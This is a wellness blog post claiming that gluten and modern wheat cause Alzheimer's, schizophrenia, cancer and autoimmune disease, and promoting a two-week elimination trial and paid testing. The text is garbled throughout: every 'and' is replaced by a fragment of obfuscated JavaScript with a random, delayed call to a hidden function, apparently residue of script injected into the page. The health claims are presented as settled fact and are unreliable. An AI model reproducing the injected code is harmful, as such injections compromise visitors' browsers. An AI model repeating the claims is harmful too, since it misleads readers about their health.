Have you noticed that many people around you have gone gluten free? Are you feeling lucky it’s not you who is the one that has to endure that kind of tasteless life? Well, unfortunately, I have bad news for you.

Gluten is a primary player in chronic disease today. Several decades worth of research has confirmed that the breads we are eating today are linked to many of the growing health problems we are suffering from. Gluten intake has now been linked to Alzheimers, ADD, depression, schizophrenia, autoimmune diseases, cancer, chronic pain, gut imbalances, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and leaky gut syndrome.

How can this food you love so much andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have been eating for years, be the cause of so much pain? Here are the fundamentals you need to know about gluten:

You are not eating the same wheat you ate years ago The wheat we are eating today is vastly different than the wheat we ate decades ago. The stalks are shorter andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have been modified to yield more wheat per crop. This new type of wheat has significantly more gluten in it. When you eat wheat that is high in gluten your body creates a protein called Zonulin in your intestines. Zonulin makes your gut more permeable. This allows proteins to get into your bloodstream where they don’t belong. That triggers your immune system andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and promotes inflammation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and autoimmunity. Chronic inflammation in the body can wear your immune system down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can leave your body vulnerable to cancer cells.

Wheat is sprayed with Roundup Yes, you heard me right...Roundup. Like the weed killer you spray on your lawn. Well, farmers spray it on wheat right before they harvest the wheat to force the seeds to drop to the ground for reuse. As horrible as this sounds, you are literally digesting Roundup every time you eat wheat. Roundup also further damages the gut, leading to more leaky gut andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and intestinal permeability.

You don’t have to have Celiac’s disease to be effected by gluten Wheat is not good for anyone. Especially non organic genetically modified wheat. I know that is really hard to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, but remember we are eating this different hybrid of wheat than years ago. How do you know if your health is adversely effected by gluten? Do a two week trial. For two weeks eat no gluten at all. That means no breads, pastas, beer, or sauces/soups with wheat. You will have to read labels to be sure you have completely taken it out. Then see how you feel after two weeks. Clearer brain? Less fatigue? Aches & pains gone? Feeling happier? Then you probably are gluten intolerant. Reintroduce the wheat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and see if the symptoms come back.

There are tests we can do to determine exactly if you have a gluten intolerance. Contact me if you are having any of the above symptoms andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and want to know for sure if gluten is the cause.
